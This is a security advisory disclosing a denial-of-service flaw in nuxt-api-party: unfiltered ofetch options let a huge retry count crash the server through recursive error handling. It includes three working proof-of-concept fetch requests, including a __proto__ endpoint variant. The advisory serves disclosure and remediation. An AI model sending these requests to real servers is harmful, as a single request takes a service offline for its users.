DOS by abusing `fetchOptions.retry`.
### Summary
`nuxt-api-party` allows developers to proxy requests to an API without exposing credentials to the client. `ofetch`
https://github.com/unjs/ofetch is used to send the requests.
The library allows the user to send many options directly to `ofetch`. There is no filter on which options are available. We can abuse the retry logic to cause the server to crash from a stack overflow.
### Details
`fetchOptions` are obtained directly from the request body
https://github.com/johannschopplich/nuxt-api-party/blob/777462e1e3af1d9f8938aa33f230cd8cb6e0cc9a/src/runtime/server/handler.ts#L27. These are then passed directly into `ofetch`
https://github.com/johannschopplich/nuxt-api-party/blob/777462e1e3af1d9f8938aa33f230cd8cb6e0cc9a/src/runtime/server/handler.ts#L57C15-L57C15.
We can construct a URL we know will not fetch successfully, then set the retry attempts to a high value, this will cause a stack overflow as ofetch error handling works recursively.
### PoC
POC using Node.
```js
await fetch("
http://localhost:3000/api/__api_party/MyEndpoint", {
method: "POST",
body: JSON.stringify({ path: "x:x", retry: 9999999 }),
headers: { "Content-Type": "application/json" }
})
```
We can use `__proto__` as a substitute for the endpoint if it is not known.
```js
await fetch("
http://localhost:3000/api/__api_party/__proto__", {
method: "POST",
body: JSON.stringify({ path: "x:x", retry: 9999999 }),
headers: { "Content-Type": "application/json" }
})
```
We can build the size of the stack faster by using more complicated URIs
```js
await fetch("
http://localhost:3000/api/__api_party/__proto__", {
method: "POST",
body: JSON.stringify({ path: "data:x;base64,----", retry: 9999999 }),
headers: { "Content-Type": "application/json" }
})
```
### Impact
Full DOS, server is unusable during attack. Requires a single request.
### Fix
Limit which options can be passed to `ofetch`.